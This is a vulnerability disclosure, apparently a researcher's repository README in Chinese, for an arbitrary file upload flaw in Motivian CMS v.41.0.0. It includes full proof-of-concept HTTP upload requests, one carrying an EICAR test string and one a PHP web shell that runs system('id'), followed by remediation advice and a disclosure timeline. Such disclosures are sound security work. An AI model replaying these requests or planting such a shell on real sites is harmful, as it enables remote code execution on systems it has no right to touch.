此仓库揭示了在Motivian Content Management System v.41.0.0中发现的一个安全漏洞。
此漏洞已根据负责任的披露实践报告给供应商，并报告给 MITRE，后者分配了一个临时 CVE ID。在 45 天披露期到期后，详细信息已公开。
Content/Gallery/ImagesMotivian Content Management System v.41.0.0 中的文件上传漏洞允许远程攻击者通过 Content/Gallery/Images 组件上传包含恶意代码的构造扩展名（例如 .php、、）的任意文件。
.png.txt该漏洞可通过上传各种扩展名的文件来利用。为演示目的，使用了两种概念验证案例：一种涉及包含恶意代码的 .php 文件，另一种使用包含 EICAR 测试字符串的 .txt 文件。两个文件均通过 Content/Gallery/Images 组件上传。
以下是用于演示此问题的 HTTP 请求和响应的完整记录：
POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 808
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2oYL3KVZBlAQmYAA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="resFolderId"
-8
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="allowedExtensions"
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="hidePageComponents"
false
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="struts.token.name"
token
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="token"
M53N7SE0QE1Z4MZV4BRV59QW3TSEZ962
------WebKitFormBoundary2oYL3KVZBlAQmYAA
Content-Disposition: form-data; name="uploadResource"; filename="eicar.txt"
Content-Type: text/plain
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
------WebKitFormBoundary2oYL3KVZBlAQmYAA--
POST /portal/admin/cms/browseManageCmsResources!uploadFile.action HTTP/1.1
Host: [REDACTED]
Content-Length: 789
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLdWSMj4ASbAC9uOz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="resFolderId"
304802
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="allowedExtensions"
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="hidePageComponents"
false
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="struts.token.name"
token
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="token"
77PMJUJH5ZAQTPWRG5TQCLIOR9CUBK0M
------WebKitFormBoundaryLdWSMj4ASbAC9uOz
Content-Disposition: form-data; name="uploadResource"; filename="test.php5"
Content-Type: application/octet-stream
<?php
echo system('id');
?>
------WebKitFormBoundaryLdWSMj4ASbAC9uOz--
HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Feb 2025 10:26:29 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 16729
不允许用户上传任意文件。实施严格的文件验证（MIME 类型和内容检查），随机化文件名，并限制上传目录。
| 日期 | 操作 |
|---|---|
| 2025-02-06 | 请求 CVE ID（CNA：MITRE） |
| 2025-04-02 | CVE ID 分配 |
| 2025-04-07 | 向供应商报告漏洞 |
| 2025-05-31 | 45 天披露期（共 54 天）到期后公开披露 |
| 2025-06-04 | 正式注册并录入 MITRE 数据库和 NIST/NVD 门户 |
发现并负责任地披露者：
Francesco Marcuccio
网络安全顾问，渗透测试员
MITRE 发现者归属列为：
Francesco Marcuccio
网络安全顾问，渗透测试员
该 CVE ID 已正式处于 PUBLISHED（已发布）状态。NIST 将在分析后更新其 CVSS 评分。